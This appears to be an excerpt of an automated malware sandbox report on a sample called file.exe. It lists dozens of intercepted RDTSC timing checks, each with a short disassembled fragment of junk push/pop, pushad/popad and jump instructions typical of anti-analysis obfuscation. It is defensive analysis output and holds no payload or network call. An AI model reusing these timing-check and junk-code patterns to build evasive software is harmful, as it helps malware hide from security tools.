Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294E1B second address: 1294E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD2B8DCB2D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294E25 second address: 1294E4B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD2B84F6BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2B84F6C04h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294F3E second address: 1294F44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294F44 second address: 1294F97 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FD2B84F6BF8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 add dword ptr [ebp+122D1A01h], edx 0x0000002b lea eax, dword ptr [ebp+124898BEh] 0x00000031 mov edx, dword ptr [ebp+122D39EEh] 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FD2B84F6C00h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294F97 second address: 1278CF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD2B8DCB2E8h 0x0000000f nop 0x00000010 mov ecx, edx 0x00000012 mov ch, dh 0x00000014 call dword ptr [ebp+12459CADh] 0x0000001a pushad 0x0000001b jmp 00007FD2B8DCB2DEh 0x00000020 pushad 0x00000021 js 00007FD2B8DCB2D6h 0x00000027 jnp 00007FD2B8DCB2D6h 0x0000002d pushad 0x0000002e popad 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 pushad 0x00000033 jmp 00007FD2B8DCB2E1h 0x00000038 jmp 00007FD2B8DCB2DAh 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0B8E second address: 12D0B9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a js 00007FD2B84F6BF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0B9E second address: 12D0BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0EB8 second address: 12D0EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B84F6C03h 0x00000009 popad 0x0000000a jmp 00007FD2B84F6C01h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0EE1 second address: 12D0EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0EE6 second address: 12D0EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D4ADB second address: 12D4ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D4ADF second address: 12D4AE9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD2B84F6BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB6C0 second address: 12DB6C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB6C6 second address: 12DB6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B84F6BFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA471 second address: 12DA484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FD2B8DCB2D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA484 second address: 12DA488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA5F3 second address: 12DA607 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD2B8DCB2DAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA8DE second address: 12DA8F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD2B84F6C01h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA8F7 second address: 12DA91A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD2B8DCB2E2h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA91A second address: 12DA91E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA91E second address: 12DA924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA924 second address: 12DA931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA931 second address: 12DA937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA937 second address: 12DA93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA93D second address: 12DA943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DADA3 second address: 12DADC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD2B84F6BFDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DAF16 second address: 12DAF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DAF2D second address: 12DAF31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DAF31 second address: 12DAF52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD2B8DCB2E5h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB09B second address: 12DB0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB0A1 second address: 12DB0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB0A9 second address: 12DB0AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB0AF second address: 12DB0BB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2B8DCB2D6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB0BB second address: 12DB0D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD2B84F6C00h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB0D0 second address: 12DB10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 je 00007FD2B8DCB2D6h 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 jmp 00007FD2B8DCB2E3h 0x00000019 jng 00007FD2B8DCB2D6h 0x0000001f pop esi 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 jc 00007FD2B8DCB2D6h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB10A second address: 12DB110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB3F2 second address: 12DB3F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD6F7 second address: 12DD6FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD6FB second address: 12DD704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD704 second address: 12DD712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD2B84F6BF6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD888 second address: 12DD899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FD2B8DCB2D6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD899 second address: 12DD89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0CFA second address: 12E0CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E07D4 second address: 12E07DE instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD2B84F6BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E07DE second address: 12E07EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4F96 second address: 12E4FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD2B84F6BF6h 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD2B84F6C00h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4FB9 second address: 12E4FC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD2B8DCB2D6h 0x00000008 jns 00007FD2B8DCB2D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4FC9 second address: 12E4FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4FD1 second address: 12E4FE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2DAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E53F7 second address: 12E5409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2B84F6BFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E556F second address: 12E558C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E0h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E570A second address: 12E5722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B84F6C00h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E86F3 second address: 12E86FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FD2B8DCB2D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E86FF second address: 12E8705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8705 second address: 12E8739 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E5h 0x00000007 jmp 00007FD2B8DCB2E0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8739 second address: 12E873D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E88C2 second address: 12E88E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2E8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EED47 second address: 12EED4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EED4D second address: 12EED51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EED51 second address: 12EED6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C00h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EED6A second address: 12EED94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnp 00007FD2B8DCB2D6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jmp 00007FD2B8DCB2E4h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EED94 second address: 12EED98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED683 second address: 12ED689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED689 second address: 12ED693 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2B84F6BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDA9A second address: 12EDAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDAA1 second address: 12EDAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDAB5 second address: 12EDAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDAB9 second address: 12EDABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDABD second address: 12EDAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDC4C second address: 12EDC55 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDDCB second address: 12EDDE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD2B8DCB2E1h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F582A second address: 12F5833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5B4A second address: 12F5B55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FD2B8DCB2D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F60D6 second address: 12F60E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jo 00007FD2B84F6BFAh 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6398 second address: 12F63AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FD2B8DCB2D6h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F63AB second address: 12F63BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F63BB second address: 12F63C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F63C2 second address: 12F63CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F66DA second address: 12F66E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F66E0 second address: 12F66FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FD2B84F6C04h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F69CD second address: 12F69E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FD2B8DCB2D6h 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007FD2B8DCB2D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6F65 second address: 12F6F8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6F8B second address: 12F6F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6F8F second address: 12F6F93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7249 second address: 12F7251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7251 second address: 12F725B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD13B second address: 12FD145 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD2B8DCB2D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124B018 second address: 124B01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124B01E second address: 124B026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124B026 second address: 124B05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD2B84F6BF6h 0x0000000a jng 00007FD2B84F6BF6h 0x00000010 popad 0x00000011 popad 0x00000012 jo 00007FD2B84F6C17h 0x00000018 push esi 0x00000019 ja 00007FD2B84F6BF6h 0x0000001f pop esi 0x00000020 push eax 0x00000021 jmp 00007FD2B84F6C01h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13003F3 second address: 130041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2E2h 0x00000009 js 00007FD2B8DCB2D6h 0x0000000f popad 0x00000010 jc 00007FD2B8DCB2DEh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
